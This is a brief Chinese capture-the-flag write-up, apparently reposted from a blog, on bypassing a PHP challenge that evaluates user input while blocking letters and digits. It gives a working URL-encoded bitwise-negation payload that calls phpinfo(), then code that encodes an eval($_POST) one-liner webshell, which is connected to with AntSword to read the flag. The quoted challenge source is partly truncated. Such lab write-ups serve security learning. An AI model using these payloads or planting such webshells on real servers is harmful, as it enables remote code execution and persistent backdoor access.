本文共 632 字，大约阅读时间需要 2 分钟。

• 题目源码

   40){
                                           die("This is too Long.");                                                }                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                           die("NO.");                                                }                    @eval($code);}else{
               highlight_file(__FILE__);}// ?>

• 无字母无数字的绕过
• 新知识PHP的URL编码取反绕过
• 尝试

• 结果：%8F%97%8F%96%91%99%90
• payload:?code=(~%8F%97%8F%96%91%99%90)();
• 就可以看见phpinfo()的信息了(禁用了很多的函数） 原理我不太懂…
• 同样的道理尝试去写个一句话木马进去

   ";$c='(eval($_POST[a]))';$d=urlencode(~$c);echo $d; ?>

• 运行结果 get传参 蚁剑连接 起初readflag无法利用 运用插件解决掉~
  

转载地址：http://gfwmf.baihongyu.com/